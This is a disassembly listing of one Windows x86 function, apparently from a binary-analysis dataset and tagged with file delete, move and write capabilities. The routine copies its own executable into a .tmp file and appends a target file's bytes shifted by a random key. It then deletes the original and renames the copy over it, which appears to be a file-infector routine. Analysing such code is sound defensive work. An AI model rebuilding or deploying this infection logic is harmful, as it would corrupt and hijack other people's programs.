Function at 0x401340
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402337
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x158
push ebx
mov ebx, dword [esp + 0x16c]
push ebp
push esi
push edi
mov ebp, ecx
push ebx
mov dword [esp + 0x24], ebp
call fcn.00401180
test eax, eax
je 0x401776
push ebx
mov ecx, ebp
call fcn.004012b0
test eax, eax
jne 0x401776
lea eax, [esp + 0x64]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
lea ecx, [esp + 0x18]
call fcn.004020d6
push ebx
lea ecx, [esp + 0x14]
mov dword [esp + 0x174], 0
call fcn.004020d6
lea ecx, [esp + 0x10]
push str..tmp
lea edx, [esp + 0x1c]
push ecx
push edx
mov byte [esp + 0x17c], 1
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x174], 2
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
mov byte [esp + 0x170], 1
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x18]
push ebx
push eax
mov ecx, ebp
call fcn.004011b0
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x2c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
push ebx
mov ecx, ebp
call fcn.00401290
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x17c]
test eax, eax
je 0x401456
mov dword [esp + 0x60], 0
jmp 0x401471
call dword [sym.imp.MSVCRT.dll_rand]
and eax, 0x80000007
jns 0x401468
dec eax
or eax, 0xfffffff8
inc eax
add eax, 0x142e
mov dword [esp + 0x60], eax
lea ecx, [esp + 0x64]
push ecx
mov ecx, ebp
call fcn.00401290
lea edx, [esp + 0x64]
mov ecx, ebp
push edx
mov dword [esp + 0x28], eax
call fcn.00401290
mov ecx, dword [esp + 0x5c]
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
push 0x404044
lea edx, [eax + ecx + 0x40]
mov eax, dword [esp + 0x14]
push eax
mov dword [esp + 0x30], edx
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x401751
lea ecx, [esp + 0x64]
push 0x404030
push ecx
call edi
mov edi, eax
add esp, 8
test edi, edi
jne 0x4014e7
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401751
mov ebp, dword [sym.imp.MSVCRT.dll_fgetc]
push edi
call ebp
add esp, 4
cmp eax, 0xffffffff
je 0x40150b
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fputc]
push edi
call ebp
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4014f8
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
push esi
push 1
lea eax, [esp + 0x38]
push 0x38
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x190]
add esp, 0x14
test eax, eax
je 0x40158c
push 0x404030
push ebx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x40155f
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401751
push edi
call ebp
add esp, 4
cmp eax, 0xffffffff
je 0x40157d
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fputc]
push edi
call ebp
add esp, 0xc
cmp eax, 0xffffffff
jne 0x40156a
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
jmp 0x401664
mov ecx, dword [esp + 0x5c]
xor edx, edx
mov eax, ecx
push 0x404030
div dword [esp + 0x64]
mov edx, dword [esp + 0x17c]
xor ebx, ebx
push edx
sub ecx, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x4015da
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x401751
mov ecx, dword [esp + 0x18]
push 0
push ecx
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
push edi
call ebp
add esp, 0x10
cmp eax, 0xffffffff
je 0x401618
mov edx, dword [esp + 0x60]
push esi
add eax, edx
push eax
call dword [sym.imp.MSVCRT.dll_fputc]
mov eax, dword [esp + 0x24]
add esp, 8
inc ebx
cmp ebx, eax
je 0x401618
push edi
call ebp
add esp, 4
cmp eax, 0xffffffff
jne 0x4015f3
xor ebx, ebx
push ebx
push ebx
push edi
call dword [sym.imp.MSVCRT.dll_fseek]
push edi
call ebp
add esp, 0x10
cmp eax, 0xffffffff
je 0x401653
mov ecx, dword [esp + 0x60]
push esi
add eax, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fputc]
mov eax, dword [esp + 0x20]
add esp, 8
inc ebx
cmp ebx, eax
je 0x401653
push edi
call ebp
add esp, 4
cmp eax, 0xffffffff
jne 0x40162e
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
mov ebx, dword [esp + 0x17c]
add esp, 4
push esi
push 1
lea eax, [esp + 0x2c]
push 8
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x14
push ebx
call esi
test eax, eax
jne 0x401697
mov ecx, dword [esp + 0x10]
push ecx
call esi
jmp 0x401751
mov eax, dword [esp + 0x17c]
test eax, eax
jne 0x40173e
push str..exe
lea ecx, [esp + 0x18]
call fcn.004020e2
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x20]
push edx
mov ecx, esi
call fcn.00401180
test eax, eax
je 0x40173e
mov bl, 4
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x1c]
mov eax, dword [eax - 8]
add eax, 0xfffffffc
push eax
push ecx
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::Left
push str._.exe
lea edx, [esp + 0x24]
push eax
push edx
mov byte [esp + 0x17c], 3
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x174], bl
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x20]
mov byte [esp + 0x170], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x170], 1
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x14]
mov ecx, esi
push eax
call fcn.00401180
test eax, eax
jne 0x4016ca
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
lea ecx, [esp + 0x10]
mov byte [esp + 0x170], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x170], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x168]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x164
ret 8